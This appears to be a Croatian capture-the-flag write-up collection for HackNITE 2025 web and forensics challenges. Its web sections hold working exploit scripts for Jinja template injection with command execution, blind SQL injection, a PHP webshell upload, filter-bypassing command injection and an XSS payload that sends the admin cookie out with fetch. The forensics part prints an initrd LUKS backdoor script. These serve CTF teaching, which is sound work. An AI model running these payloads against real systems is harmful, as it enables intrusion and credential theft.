tag.""" cookies = {"session": "corrupted-data", "session_id": payload} print(f"[>] Sending payload: {payload}") try: r = requests.get(INDEX_ENDPOINT, cookies=cookies, timeout=5) if '

' in r.text: result_html = r.text.split('

')[1].split('

')[0] clean_result = html.unescape(result_html) print(f"[<] Clean result: {clean_result[:1000]}" + ("..." if len(clean_result) > 1000 else "")) return clean_result else: print("[!] Warning: Server response did not contain the expected '

' tags. It may have failed silently.") return None except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return None def solve(): possible_flag_locations = ['/app/flag.txt', './flag.txt', '../flag.txt'] print(f"[*] Will check the following possible flag locations: {possible_flag_locations}") print("\n" + "="*50 + "\nSTEP 1: Confirming SSTI\n" + "="*50) result = send_payload_and_get_clean_output("{{7*7}}") if result != "49": print("\n[!] VERDICT: SSTI NOT CONFIRMED. Stopping.") return print("\n[+] VERDICT: SSTI CONFIRMED.\n") print("\n" + "="*50 + "\nSTEP 2: Reconnaissance - Finding Attack Gadgets\n" + "="*50) subclasses_str = send_payload_and_get_clean_output("{{ ''.__class__.__mro__[1].__subclasses__() }}") if not subclasses_str: return class_list = subclasses_str.strip('[]').split(', ') direct_gadget_index, context_gadget_index = -1, -1 for i, class_name in enumerate(class_list): if "os._wrap_close" in class_name: direct_gadget_index = i if "jinja2.runtime.Context" in class_name: context_gadget_index = i print(f"[+] Found Direct Gadget 'os._wrap_close' at index {direct_gadget_index if direct_gadget_index != -1 else 'N/A'}.") print(f"[+] Found Context Gadget 'jinja2.runtime.Context' at index {context_gadget_index if context_gadget_index != -1 else 'N/A'}.") print("\n" + "="*50 + "\nSTEP 3: Attempting Attack Strategy 1 (Direct Gadget)\n" + "="*50) if direct_gadget_index != -1: for flag_path in possible_flag_locations: print(f"[*] Trying flag path: {flag_path}") payload_s1 = f"{{{{ ''.__class__.__mro__[1].__subclasses__()[{direct_gadget_index}]('cat {flag_path}', 'r').read() }}}}" result_s1 = send_payload_and_get_clean_output(payload_s1) if result_s1 and re.search(FLAG_REGEX, result_s1): print(f"\n[+] SUCCESS! Strategy 1 worked!\n FLAG FOUND: {re.search(FLAG_REGEX, result_s1).group(0)}") return print("[!] Strategy 1 failed for all flag paths.") else: print("[!] Skipping Strategy 1: Gadget not found.") print("\n" + "="*50 + "\nSTEP 4: Attempting Attack Strategy 2 (OS Command Injection)\n" + "="*50) if context_gadget_index != -1: for flag_path in possible_flag_locations: print(f"[*] Trying flag path: {flag_path}") payload_s2 = f"{{{{ ''.__class__.__mro__[1].__subclasses__()[{context_gadget_index}].__init__.__globals__['__builtins__']['__import__']('os').popen('cat {flag_path}').read() }}}}" result_s2 = send_payload_and_get_clean_output(payload_s2) if result_s2 and re.search(FLAG_REGEX, result_s2): print(f"\n[+] SUCCESS! Strategy 2 worked!\n FLAG FOUND: {re.search(FLAG_REGEX, result_s2).group(0)}") return print("[!] Strategy 2 failed for all flag paths.") else: print("[!] Skipping Strategy 2: Gadget not found.") print("\n" + "="*50 + "\nSTEP 5: Attempting Attack Strategy 3 (Built-in File Read)\n" + "="*50) if context_gadget_index != -1: for flag_path in possible_flag_locations: print(f"[*] Trying flag path: {flag_path}") payload_s3 = f"{{{{ ''.__class__.__mro__[1].__subclasses__()[{context_gadget_index}].__init__.__globals__['__builtins__']['open']('{flag_path}').read() }}}}" result_s3 = send_payload_and_get_clean_output(payload_s3) if result_s3 and re.search(FLAG_REGEX, result_s3): print(f"\n[+] SUCCESS! Strategy 3 (Fallback) worked!\n FLAG FOUND: {re.search(FLAG_REGEX, result_s3).group(0)}") return print("[!] Strategy 3 failed for all flag paths.") else: print("[!] Skipping Strategy 3: Context gadget not found.") print("\n[!] All attack strategies have been exhausted. Exploit failed.") if __name__ == "__main__": solve() ====Las Palmas==== Napravili smo stranicu gdje developeri mogu predstaviti svoj portfolio, a i sigurnjaci mogu pokazati svoje vještine tako da iz baze izvuku tajni flag. http://chal.platforma.hacknite.hr:14012 Uz zadatak je dan i izvorni kod. Ranjivost ovog zadatka je [[second_order_sqli|second order]] [[blind_sqli| blind]] SQL injection. Umjesto odabira vještine iz dropdown izbornika, može se unijeti SQL injekcija koja će se izvršiti na endpointu pregleda portfolia. No za svaki upit rezultat vraćen iz baze prolazi ovom funkcijom. def numericLetterGradeMapping(numeric_grade): if numeric_grade < 0 or numeric_grade > 5: raise Exception("Invalid numeric grade") return chr(65 + (5 - numeric_grade) % 6) To čini zadatak "blind", jer je odgovor svakog upita broj između 0 i 4, koji se potom mapira na znak iz skupa A–F. Zadatak se može napraviti skriptom koja će prvo na izboru vještina postaviti 5 SQL injection blind upita, potom potaknuti njihovo izvršavanje na endpointu za pregled portofolia, sve dok ne sazna sve znakova flaga. Također, pregledom izvornog koda danog uz zadatak se može vidjeti gdje se nalazi file unutar datoteke dbFill.py Opisana skripta dana je u nastavku. import requests import string import time import sys # --- Configuration --- BASE_URL = "http://chal.platforma.hacknite.hr:14012/" SELECTION_URL = f"{BASE_URL}/" PORTFOLIO_URL = f"{BASE_URL}/portfolio" s = requests.Session() def check_server_status(): try: r = s.get(BASE_URL, timeout=5) if r.status_code == 200: print(f"[+] Server is up at {BASE_URL}") return True else: print(f"[!] Server at {BASE_URL} returned status code {r.status_code}.") return False except requests.exceptions.RequestException as e: print(f"[!] Server at {BASE_URL} is unreachable.") print(f"[!] Error details: {e}") return False def select_skill(skill_payload): data = {'action': 'select', 'skill': skill_payload} try: s.post(SELECTION_URL, data=data, timeout=5) except requests.exceptions.RequestException as e: print(f"\n[!] Error during skill selection: {e}") return False return True def remove_skill(skill_payload): data = {'action': 'remove', 'skill': skill_payload} try: s.post(SELECTION_URL, data=data, timeout=5) except requests.exceptions.RequestException as e: pass def check_condition(payload): if not select_skill(payload): return None try: r = s.get(PORTFOLIO_URL, timeout=5) except requests.exceptions.RequestException as e: print(f"\n[!] Error while checking portfolio: {e}") remove_skill(payload) return None remove_skill(payload) return 'A' in r.text def exploit(): if not check_server_status(): return print("\n[-] Searching for flag length...") flag_length = 0 for i in range(1, 22): payload = f"' UNION SELECT 5 FROM flag WHERE length(flag) = {i} -- " result = check_condition(payload) if result is None: print("[!] Exploit aborted due to connection error.") return if result: flag_length = i print(f"[+] Found flag length: {flag_length}") break else: sys.stdout.write(f"\r[.] Trying length: {i}") sys.stdout.flush() if flag_length == 0: print("\n[!] Could not determine flag length.") return print("\n[-] Extracting the flag...") charset = string.digits + string.ascii_letters + "[]" flag = "" for i in range(1, flag_length + 1): found_char_for_pos = False for char in charset: payload_char = "''" if char == "'" else char payload = f"' UNION SELECT 5 FROM flag WHERE substr(flag, {i}, 1) = '{payload_char}' -- " sys.stdout.write(f"\r[.] Flag: {flag}{char}") sys.stdout.flush() result = check_condition(payload) if result is None: print("\n[!] Exploit aborted due to connection error.") return if result: flag += char found_char_for_pos = True break if not found_char_for_pos: print(f"\n[!] Could not find character at position {i}.") flag += "?" print(f"\n\n[+] SUCCESS! Extracted Flag: {flag}") if __name__ == "__main__": exploit() ====Nemoguća misija 2025==== http://chal.platforma.hacknite.hr:14018 Uz zadatak je dan i izvorni kod. Ovaj zadatak ima ranjivost u custom implementaciji parsera u datoteci **config.html** Ranjiva funkcija je u nastavku. function parser($uploaded_path, $user_dir, $base) { // Read the uploaded file $uploaded = file_get_contents($uploaded_path); if ($uploaded === false) { return false; } $fileLen = strlen($uploaded); // Compute MD5 hash in hex $hex = md5_hex($uploaded); $shaLen = strlen($hex); $totalLen = $fileLen + $shaLen; $concat = $uploaded . $hex; $out1 = $user_dir . '/' . $base . '.txt'; $out2 = $user_dir . '/' . $base . 'Hash'; // Open files for writing $f1 = fopen($out1, 'wb'); $f2 = fopen($out2, 'wb'); if (!$f1 || !$f2) { return false; } $copyIdx = 0; for ($i = 0; $i < $totalLen; $i++) { $check = $concat[$i]; if (is_invalid_byte($check)) { continue; } if ($i < $fileLen) { $towrite = $concat[$copyIdx]; fwrite($f1, $towrite); } else { $towrite = $concat[$copyIdx]; fwrite($f2, $towrite); } $copyIdx++; if ($copyIdx >= $totalLen) break; } fclose($f1); fclose($f2); return true; } Greška u implementaciji se nalazi u načinu na koji funkcija obrađuje invalid bajt. Ako naiđe na invalid bajt, preskače se ta iteracija petlje s **continue** statementom, čime će se preskočiti inkrementiranje **$copyIdx** indeksa, dok će indeks **$i** biti uvećan. Na ovaj način se za svaki invalid byte u datoteci koja se Šalje, može upisati jedan željeni bajt u hash datoteku koju server sam generira. Za 16 invalid bajtova se može upisati 16 željenih bajtova u datoteku u kojoj bi server inače spremio MD5 hash učitane datoteke. Koristeći tu činjenicu i dio konfiguraciju u **.htaccess** datoteci prikazane u nastavku: ForceType application/x-httpd-php Može se u datoteci koja se učitava konstruirati PHP webshell koji će se s pomoću manipulacije invalid byteovima nakon parsiranja upisati u datoteku u kojoj bi se inače nalazio MD5 hash, te se radi **.htaccess** konfiguracije može izvršavati. Bash skripta koja generira ovakav file za učitavanje, kojim će se dobiti web shell je u nastavku. #!/bin/bash md5_hex=$(( echo -n "Hello World! Hello World! Hello World!" | md5sum )| awk '{print $1}') webshell='' while [ ${#webshell} -lt 32 ]; do webshell="$webshell " done webshell=${webshell:0:32} (printf '\0%.0s' {1..32}; printf "%s" "$webshell") > aboutMeWebShell.txt echo "generated aboutMeWebShell.txt" echo "Web shell: $webshell" Nakon toga je potrebno pristupiti putanji na kojoj će se dohvatiti PHP webshell na endpointu. /uploads//aboutMeHash Na kojoj se mogu izvršavati bash komande preko **cmd** argumenta, te ostaje samo pročitati flag ENV varijablu. ====Hash Browns==== Testirajte web sjedište našeg restorana http://chal.platforma.hacknite.hr:14017 Uz zadatak je dan i izvorni kod. Ranjivost u ovom zadatku je [[command injection|Command injection]]. Korisnički unos dan preko stranice se na nesiguran način izvršava kao bash naredba s pomoću subprocess modula. Zadatak ima filter na ulazu, koji zabranjuje određene unose, te provjeru rezultata izvršene komande, gdje rezultat izvršavanja mora odgovarati SHA256 regexu. Zadatak se može riješiti na više načina, nakon što se pronađe način za napraviti command injection koji uspješno prolazi kroz filter, pročitana flag datoteka se ili može eksfiltrirati preko request basketa, ili se može mapirati na hex charset i dopunit da odgovara SHA256 regexu, ili se mogu izvršavati blind upiti, gdje su pitanja npr. u obliku "ako je tvrda točna vrati sha256(1), ako je tvrdnja netočna vrati sha256(0), kao što je u skripti rješenja zadatka. Također se zadatak može riješiti i crackanjem vraćenog SHA256 hasha unutar kojega je i vraćen flag, gdje je jedini nepoznati dio 12 znamenki flaga. Korištenjem alata hashcat, ako hashcat ima zadovoljavajuć hashrate i koristi grafičku karticu, može se pretražiti nepoznati prostor u prihvatljivom vremenu. Skripta koja rješava zadatak korištenjem Pythona i enkodiranjem flaga u hex. import requests import binascii # CONFIGURATION URL = "http://chal.platforma.hacknite.hr:14017/hash" def decode_response(hex_string): try: decoded_bytes = binascii.unhexlify(hex_string) return decoded_bytes.decode('utf-8', errors='ignore') except Exception as e: return f"Decoding Error: {e}" def solve(): print("[*] Constructing Payload...") # 1. Generate the number 1 (for 'head -n 1') # logic: count 'a' -> 1 one_gen = "one=$(printf a|wc -c);" # 2. Generate the number 64 (for final truncation) # logic: 64 'a's count a_64 = 'a' * 64 len_gen = f"len=$(printf {a_64}|wc -c);" # 3. Locate Python binary without using '3' # 'ls /usr/local/bin/python?' matches '/usr/local/bin/python3' # We pipe to 'head -n $one' to ensure we get just one line/binary find_py = "py=$(ls /usr/local/bin/python?|head -n $one);" # 4. Python One-Liner # Reads stdin, strips whitespace, encodes to hex. # No digits or blacklisted words used here. py_cmd = "import sys;print(sys.stdin.read().strip().encode().hex())" # 5. Construct the full pipeline # head f* -> Read flag # $py -c ... -> Hex encode it using the found python binary # tr -d '\n' -> Safety cleanup (though .strip() does most work) raw_gen = f"raw=$(head f*|$py -c '{py_cmd}'|tr -d '\\n');" # 6. Padding Logic (same as before) pad_str = 'a' * 64 # 7. Combine and Print cmd_logic = ( f"{one_gen}" f"{len_gen}" f"{find_py}" f"{raw_gen}" f"pad={pad_str};" f"combined=$raw$pad;" f"printf %s $combined|head -c $len" ) payload = f"' ; {cmd_logic} ; #" print(f"[*] Payload: {payload}") json_data = {"user_input": payload} try: res = requests.post(URL, json=json_data, timeout=10) response = res.json() if response.get("success"): returned_hash = response.get("hash", "") print(f"[*] Server returned: {returned_hash}") decoded = decode_response(returned_hash) print("="*50) print(f"[*] DECODED OUTPUT: {decoded}") print("="*50) else: print(f"[-] Server reported failure: {response.get('error')}") except Exception as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": solve() Skripta koja rješava zadatak korištenjem Basha i generiranjem blind upita. import requests import string import time import hashlib URL = "http://chal.platforma.hacknite.hr:14017/hash" CHARSET = "CTF[]0123456789" HASH_OF_TRUE = hashlib.sha256(b"a").hexdigest() known_flag = "" position = 1 print(f"'TRUE' signal: {HASH_OF_TRUE}") print("="*40) MAX_FLAG_LENGTH = 30 DISCOVERY_PAYLOAD = ( 'd=$(printf aa|wc -c);' 'f=$(printf aaaaa|wc -c);' 's=$(printf aaaaaa|wc -c);' 'c=$(ls /usr/bin/sha*sum|grep $d|grep $f|grep $s);' ) while position <= MAX_FLAG_LENGTH: found_char_for_pos = False for char_to_guess in CHARSET: pos_gen = f"p=$(printf {'a' * position}|wc -c);" one_gen = 'i=$(printf a|wc -c);' core_logic = '' if char_to_guess in string.digits: num_of_a = int(char_to_guess) a_string = 'a' * num_of_a if char_to_guess == '0': a_string = '' digit_gen_for_grep = f'g=$(printf "{a_string}"|wc -c);' core_logic = f'{digit_gen_for_grep}head -c$p f*|tail -c$i|grep -Fq "$g"' else: core_logic = f'head -c$p f*|tail -c$i|grep -Fq "{char_to_guess}"' oracle = '&& printf a|$c || printf b|$c' command = DISCOVERY_PAYLOAD + pos_gen + one_gen + core_logic + oracle payload = f"' ; {command} ; #" print(payload) json_data = {"user_input": payload} try: res = requests.post(URL, json=json_data, timeout=10) response_json = res.json() if response_json.get("success") is True: returned_hash = response_json.get("hash", "") if returned_hash == HASH_OF_TRUE: known_flag += char_to_guess print(f"Found character at position {position}: '{char_to_guess}'") print(f"Current Flag: {known_flag}") position += 1 found_char_for_pos = True if char_to_guess == ']': print("\nFound closing bracket, flag is complete.") position = MAX_FLAG_LENGTH + 1 break except requests.RequestException as e: print(f"An error occurred: {e}") time.sleep(1) if not found_char_for_pos: print(f"Character at position {position} not found.") break print("="*40) print(f"Exploit finished. Final Flag: {known_flag}") ====Eksfiltriraj flag==== Možeš li pronaći dobitnu konfiguraciju koja ti otkriva flag? http://chal.platforma.hacknite.hr:14032 Uz zadatak je dan i izvorni kod. Ranjivost u ovom zadatku je [[xss napadi |XSS]]. U zadatku je potrebno konstruirati prototype pollution XSS napad nad stranicom. HOST se treba postaviti u "localhost", a PORT u 5000 (zadnja linija **app.py**) umjesto URL-a stranice (sličan pristup kao kod SSRF-a), kako bi admin bot koristio svoj cookie pri posjetu stranice. Potom JavaScript kodom u XSS-u treba adminov cookie pročitati i poslati na vlastiti request basket. U nastavku je dana JS skripta koja generira link koji se potom pošalje administratoru preko forme na stranici, i nakon toga se na svojem request basketu čeka zabilježeni zahtjev u kojemu će biti admin cookie enkodiran u base64 formatu. **Napomena:** u ovoj skripti je potrebno u prvoj liniji koda unijeti URL svojeg request basketa. **Koristite [[http://requestbaskets.platforma.hacknite.hr | request baskets od platforme]]!** const EXFIL_URL_BASE = "" //npr. "http://requestbaskets.platforma.hacknite.hr/" const LOCAL_URL = "http://localhost:5000" const cfg = {}; Object.defineProperty(cfg, "__proto__", { value: { "render": `(() => { const allCookies = document.cookie; // get all cookies const encoded = btoa(allCookies); fetch('${EXFIL_URL_BASE}/' + encoded); })()`, "addNote": `(function(title,content){ console.log('addNote-demo', title, content) })` }, enumerable: true, configurable: true, writable: true }); cfg.font = "Arial, sans-serif"; cfg.background = "#ffffff"; const encodedConfig = encodeURIComponent(JSON.stringify(cfg)); const fullUrlForAdmin = `${LOCAL_URL}/?config=${encodedConfig}`; console.log("Full URL for admin bot:\n", fullUrlForAdmin); ====kanta==== [[https://kanta.royex.qzz.io/ | Writeup igrača]] ====PHPMadness==== Rješenje zadatka dostupno je ovdje: [[phpmadness|CTF writeup - PHPmadness]] ======Forenzika====== ====gnp.galf==== U zadatku je dana samo "gnp.galf" datoteka, koje je zapravo "flag.png" unazad. No pri pokušaju otvaranja ovog kao slike, vraćena je greška da je file signature nepoznat ili neispravan. naredbom **file** nad datotekom ili **binwalk**, vidi se iz odgovora da nije prepoznat file signature, kao ni ručnom inspekcijom pomoću alata **xxd**. Zapravo je i sadržaj same datoteke napisan unazad, kao što je i ime datoteke. Pitanje je jesu li bajtovi ili bitovi okrenuti unazad. Da su bajtovi izokrenuti, na početku datoteke bi bili GNP bajtovi, no to nije slučaj. $ xxd gnp.galf | head 00000000: 4106 4275 2272 a292 0000 0000 a822 282e A.Bu"r......."(. 00000010: 0c0c 5c0c 0cd4 8cac 5c9c 2c5c 8c8c 2acc ..\.....\.,\..*. 00000020: 0cb4 9c0c b4ac 4c0c 4c00 0eb6 862e cea6 ......L.L....... Može se pokušati izokrenuti datoteka po bitovima, bash naredbom perl -e '$/=\1; while(<>){print scalar reverse pack("B*", unpack("b*",$_))}' < gnp.galf > flagR1.png **file** i dalje ne prepoznaje datoteku, ručnom inspekcijom s pomoću **xxd** može se pročitati početak datoteke: $ xxd flagR1.png | head 00000000: 8260 42ae 444e 4549 0000 0000 1544 1474 .`B.DNEI.....D.t 00000010: 3030 3a30 302b 3135 3a39 343a 3131 5433 00:00+15:94:11T3 00000020: 302d 3930 2d35 3230 3200 706d 6174 7365 0-90-5202.pmatse I dalje ne sadrži niti "PNG" niti "GNP", ali zapravo sadrži "IEND.B" unazad, što je oznaka za kraj PNG datoteke. Pregledom bajtova na kraju datoteke, može se vidjeti "GNP". $ xxd flagR1.png | tail -n 5 00002cf0: 0000 983a 0000 60ea 0000 3075 0000 e880 ...:..`...0u.... 00002d00: 0000 00fa 0000 8480 0000 267a 0000 4d52 ..........&z..MR 00002d10: 4863 2000 0000 616d fd2f 0000 0000 08c8 Hc ...am./...... 00002d20: 0000 00bc 0200 0052 4448 490d 0000 000a .......RDHI..... 00002d30: 1a0a 0d47 4e50 89 ...GNP. To je naznaka da file treba izokrenuti unazad sada po bajtovima. To se može napraviti bash naredbom: xxd -p -c 1 flagR1.png | tac | xxd -r -p > flag.png Sada je ova datoteka prepoznata kao PNG. $ file flag.png flag.png: PNG image data, 700 x 200, 8-bit grayscale, non-interlaced Otvaranjem slike, vidi se da je na slici korišten "swirl" efekt. Ovaj efekt se može napraviti u suprotnom smjeru, ili alatom kao što je GIMP ili Photoshop ili [[ https://www1.lunapic.com/editor/?action=swirl | online alatom]]. Unosom vrijednosti za swirl amount -700, dobiva se jasno vidljiv flag. {{ hacknite2025:flagUnswirl.png?nolink&500 | Flag }} ====Hotel==== Kada se slastičar Marko vratio u hotel, njegov laptop je bio malo pomaknut, no na to nije obraćao pažnju. Nekoliko dana kasnije, konkurentska firma je počela proizvoditi sladoled iznimno sličan njegovom. Marko sumnja da je njegov laptop kompromitiran. Markov laptop je šifriran. Dopustio ti je da uzmeš forenzičku sliku diska i želi da demonstriraš postojanje "backdoora" tako da pristupiš sadržaju diska. https://ferhr-my.sharepoint.com/:u:/g/personal/bnadarevic_fer_hr/EVFNFEaoWRpGlHPqeeTtlakBVi0WTX5lfGD8pW12d2cf5w?e=qG9Tdk Uz zadatak je dostupna komprimirana QCOW2 (QEMU Copy-On-Write) slika Linuxa, kojemu je datotečni sustav enkriptiran alatom LUKS (Linux Unified Key Setup) Nakon ekstrakcije, potrebno je pozicionirati se u isti direktorij kao i slika i napraviti mount negdje u korisnički direktorij. sudo modprobe nbd max_part=16 sudo qemu-nbd --connect=/dev/nbd0 ./laptop.qcow2 sudo mount /dev/nbd0p1 ~/mount U tekstu zadatka piše da je Markov laptop šifriran, LUKS je najkorišteniji alat za enkripciju diska kod Linux operacijskih sustava. $cd ~/mount $ sudo grep -ri "LUKS" ./ grep: ./grub/i386-pc/luks.mod: binary file matches ./grub/i386-pc/moddep.lst:luks: pbkdf2 crypto cryptodisk grep: ./grub/i386-pc/cryptodisk.mod: binary file matches Vidi se da su prisutni moduli za LUKS. Pregledom ostalih dostupnih datoteka i direktorija, vidi se da je mountan samo /boot direktorij, on nije šifriran kada se koristi LUKS, zato da se OS može pokrenuti do upita za unos lozinke za LUKS dekripciju. ~/mount$ ls -lah total 125M ... -rw-r--r-- 1 root root 213K srp 10 2020 config-4.15.0-112-generic drwxr-xr-x 5 root root 4,0K ruj 23 13:03 grub -rw-r--r-- 1 root root 56M ruj 23 14:18 initrd.img-4.15.0-112-generic -rw-r--r-- 1 root root 56M ruj 23 14:59 initrd.img-4.15.0-112-generic.bak drwx------ 2 root root 16K ruj 23 13:00 lost+found -rw-r--r-- 1 root root 179K sij 28 2016 memtest86+.bin -rw-r--r-- 1 root root 181K sij 28 2016 memtest86+.elf -rw-r--r-- 1 root root 181K sij 28 2016 memtest86+_multiboot.bin -rw------- 1 root root 3,9M srp 10 2020 System.map-4.15.0-112-generic -rw-r--r-- 1 root root 7,9M kol 7 2020 vmlinuz-4.15.0-112-generic Sam LUKS alat također nije enkriptiran, jer je on upravo zaslužan za dekripciju datotečnog sustava, zato ga je dobro provjeriti za postojanje nekog backdoora, kao što je spomenuto u tekstu zadatka. Kako bi se LUKS provjerio, potrebno je pregledati initrd (initial RAMdisk, za vrijeme boota se koristi), srećom dostupan je i initrd backup. ~/mount$ ls ... initrd.img-4.15.0-112-generic initrd.img-4.15.0-112-generic.bak ... ~/mount$ file initrd.img-4.15.0-112-generic initrd.img-4.15.0-112-generic: ASCII cpio archive (SVR4 with no CRC) ~/mount$ file initrd.img-4.15.0-112-generic.bak initrd.img-4.15.0-112-generic.bak: ASCII cpio archive (SVR4 with no CRC) S binwalk alatom se može napraviti extract initrd i initrd backupa. ~/mount$ mkdir ../mountTemp ../mountTemp/initrdEX ../mountTemp/initrdEXbak ~/mount$ cd ~/mountTemp/initrdEX ~/mountTemp/initrdEX$ binwalk --extract --directory ./ ../../mount/initrd.img-4.15.0-112-generic ~/mountTemp/initrdEX$ cd ../initrdEXbak ~/mountTemp/initrdEXbak$ binwalk --extract --directory ./ ../../mount/initrd.img-4.15.0-112-generic.bak ~/mountTemp/initrdEXbak$ tree . └── _initrd.img-4.15.0-112-generic.bak.extracted ├── 0.cpio ├── 2E4610.cpio ├── 2E4800 ├── 2E4800.gz ├── 7000.cpio ... ~/mount$ man cpio / tldr cpio ... **cpio** extract nema opciju odabira output direktorija. Sada je cilj napraviti ekstrakt svih .cpio arhiva iz initrd i iz initrd.bak, te ih međusobno usporediti. ~/mountTemp/initrdEXbak$ file _initrd.img-4.15.0-112-generic.bak.extracted/2E4800 _initrd.img-4.15.0-112-generic.bak.extracted/2E4800: ASCII cpio archive (SVR4 with no CRC) Ova datoteka nema **.cpio** ekstenziju, ali je i dalje cpio arhiva. Bash skripta koja radi cpio ekstrakt svih datoteka u trenutačnom direktoriju i svim poddirektorijima rekurzivno za koje naredba file vraća "ASCII cpio archive (SVR4 with no CRC)" je u nastavku. find . -type f | while read -r f; do if file "$f" | grep -q 'ASCII cpio archive (SVR4 with no CRC)'; then echo "Extracting $f"; cpio -idmv < "$f"; fi; done Ova naredba/skripta se pokrene i u direktoriju s initrd i initrd backupom. ~/mountTemp/initrdEX$ ~/mountTemp/initrdEXbak$ Sada su svi cpio arhivi raspakirani i sve datoteke u initrd i initrd backupu su dostupne za analizu,može napraviti analiza datoteka koje postoje u jednom, a ne u drugom, kao i razlike unutar samih datoteka, naredbom **diff**. ~/mountTemp$ diff -r initrdEX initrdEXbak Only in initrdEX/bin: notabackdoor ... diff -r initrdEX/scripts/local-top/cryptroot initrdEXbak/scripts/local-top/cryptroot 301c301 < $cryptkeyscript "$cryptkey" | notabackdoor "$cryptsource" | $cryptopen; then --- > $cryptkeyscript "$cryptkey" | $cryptopen; then ... Vidi se da samo u initrd/bin postoji datoteka **"notabackdoor"** koja ne postoji u backupu (starijem stanju) i da se koristi u ključnim operacijama otključavanja datotečnog sustava. Taj file se može pročitati **cat** naredbom. ~/mountTemp$ cat ./initrdEX/bin/notabackdoor #!/bin/sh # Read piped input read passphrase backdoor_passphrase="yhinAe4Zdq" #echo -ne "$passphrase\n$backdoor_passphrase\n" | cryptsetup luksAddKey $1 -T1 > /dev/null 2>&1 echo -ne "$passphrase\n$backdoor_passphrase\n" | cryptsetup -v luksAddKey $1 -T1 1>&2 # Echo passphrase out to continue being used in the next pipe echo -n "$passphrase" # Erase all traces we were ever here #rm "$0" # TODO: replace the backdoored line with the original exit 0 Tu se vidi da je postavljen "backdoor_passphrase". backdoor_passphrase="yhinAe4Zdq" Pokušajem unosa ovog passworda za otključavanje datotečnog sustava, datotečni sustav se uspješno otključa. {{ hacknite2025:luksDecrypt.png?nolink&500 | Otključavanje datotečnog sustava }} Sada se može pronaći gdje se nalazi flag datoteka naredbom **find** te potom pročitati naredbom **cat**. ...$ find ./ -name "*flag.txt" 2>/dev/null ./home/marko/Desktop/flag.txt ...$ cat ./home/marko/Desktop/flag.txt CTF2025[2623........] Kada ste gotovi napravite unmount. sudo umount /mount sudo qemu-nbd --disconnect /dev/nbd0 sudo modprobe -r nbd Ovaj zadatak se temelji na forenzici [[https://github.com/nyxxxie/de-LUKS | "evil maid" napada]]. ====Haxxor==== Zaplijenjeno je računalo zloglasnog hakera. Sumnja se da je pokušao svom vođi poslati poruku na neki neobičan način. Možeš li otkriti sadržaj poruke? https://ferhr-my.sharepoint.com/:u:/g/personal/bnadarevic_fer_hr/EZ6L6hOtjnpNpQKFuK5e9jwBL70q_KjiOQeQQTjRw3sFUQ?e=WyfKsB Haxxor: poruka više nije dostupna na internetu, ali možete ju svejedno rekonstruirati Uz zadatak je dostupna i komprimirana QCOW2 (QEMU Copy-On-Write) slika Kali linuxa. Nakon ekstrakcije datoteke, potrebno je napraviti mount QCOW2 slike. Za to je potreban paket **qemu-utils** sudo apt install qemu-utils Nakon toga se može pozicionirati u isti direktorij kao i QCOW2 slika i napraviti mount na **/mount** (ili npr. na /mnt/kali) sudo modprobe nbd max_part=16 sudo qemu-nbd --connect=/dev/nbd0 ./kali-linux-2025.2-qemu-amd64.qcow2 #sudo fdisk -l /dev/nbd0 #du -h kali-linux-2025.2-qemu-amd64.qcow2 sudo mount /dev/nbd0p1 /mount Sada će se preko putanje **/mount** moći čitati datotečni sustav Kali slike. /mount$ ls bin dev home initrd.img.old lib32 lost+found mnt proc run srv sys usr vmlinuz boot etc initrd.img lib lib64 media opt root sbin swap tmp var vmlinuz.old $ cd /mount/home/kali/ Nakon inicijalnog pretraživanja može se pronaći da postoji zapisi korištenja FireFox web preglednika, gdje se može pronaći i default user (Profile0 u profiles.ini). /mount/home/kali/.mozilla/firefox$ cat profiles.ini .... [Profile0] Name=default-esr IsRelative=1 Path=ktp4p5og.default-esr /mount/home/kali/.mozilla/firefox$ cd ktp4p5og.default-esr/ U direktoriju ovog korisnika, neke od zanimljivijih datoteka su **places.sqlite** i **places.sqlite-wal** (iako je u ovom slučaju prazan, sve iz njega je već zapisano u places.sqlite), koji zapisuju određene podatke o posjećenim stranicama /mount/home/kali/.mozilla/firefox/ktp4p5og.default-esr$ strings places.sqlite .... https://backend.wplace.live/auth/google?token=... ... https://wplace.live/Wplace - Paint the world... aWplace is a collaborative, real-time pixel canvas layered over the world map, where anyone can paint and create art together.https://wplace.live/img/og-image.png % http://wplace.live/ ... Vidi se da ima više zabilježenih zapisa o stranici [[https://wplace.live/|wplace]], gdje korisnici mogu bojiti piksele na mapi svijeta. No, kada se šalje zahtjev za postavljanje piksela, to se radi POST zahtjevom, a web preglednici u pravilu ne bilježe POST zahtjeve, iako bilježe iznenađujuće puno drugih stvari. Među datotekama se nalazi još nešto zanimljivo, to je [[https://www.cert.hr/wp-content/uploads/2018/11/owasp_zap.pdf| ZAP]]. /mount/home/kali$ ls -lah ... drwxrwxr-x 22 usr usr 4,0K ruj 3 14:43 .ZAP -rw-rw-r-- 1 usr usr 1,8K ruj 3 14:50 zap_root_ca.cer ... Pregledom spremljenih ZAP sessiona, vidi se da među njima ima zabilježenih zahtjeva kojima se postavljaju pikseli na wplace stranici. $ strings /mount/home/kali/.ZAP/session*/* | grep 'backend.wplace.live/s0/pixel/' | sort | uniq 9https://backend.wplace.live/s0/pixel/1108/744?x=698&y=422 9https://backend.wplace.live/s0/pixel/1108/744?x=706&y=423 9https://backend.wplace.live/s0/pixel/1108/744?x=718&y=419 GET https://backend.wplace.live/s0/pixel/1108/744?x=698&y=422 HTTP/1.1 GET https://backend.wplace.live/s0/pixel/1108/744?x=706&y=423 HTTP/1.1 GET https://backend.wplace.live/s0/pixel/1108/744?x=718&y=419 HTTP/1.1 GET https://backend.wplace.live/s0/pixel/1108 HTTP/1.1 )https://backend.wplace.live/s0/pixel/1108 -https://backend.wplace.live/s0/pixel/1108/744 POST https://backend.wplace.live/s0/pixel/1108/744 HTTP/1.1 Sada se može koristiti ZAP alat već prisutan u slici, ili instalirati i pokrenuti zaseban sudo snap install zaproxy --classic i s pomoću njega importati i otvoriti session datoteke kako bi se vidjeli zabilježeni zahtjevi postavljanja piksela na wplace stranici. Session datoteke su dostupne u direktorijima /mount/home/kali/.ZAP/session /mount/home/kali/.ZAP/sessions U jednom od dostupnih session datoteka, se mogu pronaći zabilježeni zahtjevi prema stranici wplace, u kojima se nalaze koordinate nacrtanih piksela. 